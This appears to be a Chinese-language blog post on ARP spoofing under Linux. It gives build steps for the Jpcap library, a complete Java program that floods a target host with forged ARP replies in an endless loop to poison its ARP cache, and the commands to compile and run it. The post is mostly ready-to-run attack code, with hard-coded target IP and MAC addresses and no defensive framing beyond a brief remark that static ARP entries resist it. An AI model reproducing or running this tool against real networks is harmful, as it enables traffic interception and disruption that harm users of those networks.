linux环境ARP欺骗

一、环境准备

1.从https://github.com/mgodave/Jpcap.git下载源码
2.进入./Jpcap/src/main/c目录
3.修改make文件,修改JNI_INCLUDE=
4.执行make。注意缺什么依赖就补充安装即可。
5.将生成的libjpcap.so拷贝或移动到/usr/lib/下
6.将lib/jpcap.jar作为程序的依赖包。

二、源码例子

在网上找的例子,代码如下:

import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

public class Arp{
    static byte[] stomac(String s) {
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] s1 = s.split("-");
        for (int x = 0; x < s1.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
        }
        return mac;
    }
    public static void main(String[] args) throws Exception {
        InetAddress desip = InetAddress.getByName("10.8.228.228");// 被欺骗的目标IP地址
        byte[] desmac = stomac("00-50-56-92-6b-c3");// 被欺骗的目标目标MAC数组
        InetAddress srcip = InetAddress.getByName("10.8.228.229");// 源IP地址
        byte[] srcmac = stomac("00-50-56-92-31-ff"); // 假的MAC数组
        // 枚举网卡并打开设备
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备
        NetworkInterface device = devices[0];  //选择网卡设备
        JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备
        // 设置ARP包
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬件类型
        arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型
        arp.operation = ARPPacket.ARP_REPLY;      //操作类型 REPLY 表示类型为应答
        arp.hlen = 6;  //硬件地址长度
        arp.plen = 4;  //协议类型长度
        arp.sender_hardaddr = srcmac;  //发送端MAC地址
        arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址
        arp.target_hardaddr = desmac;  //目标硬件地址
        arp.target_protoaddr = desip.getAddress(); //目标IP地址
        // 定义以太网首部
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧
        ether.src_mac = srcmac;  //源MAC地址
        ether.dst_mac = desmac;  //目标MAC地址
        arp.datalink = ether;  //添加
        // 发送ARP应答包
        while (true) {
            System.out.println("sending arp..");
            sender.sendPacket(arp);
            Thread.sleep(10);
        }
    }
}

javac -cp .:jpcap.jar Arp.java
java -cp .:jpcap.jar Arp

三、注意事项

1.库文件一定要放进java.library.path对应的目录中,否则执行时会报库文件找不到
2.目标机器设置的静态条目的IP无法被修改

你可能感兴趣的:(linux环境ARP欺骗)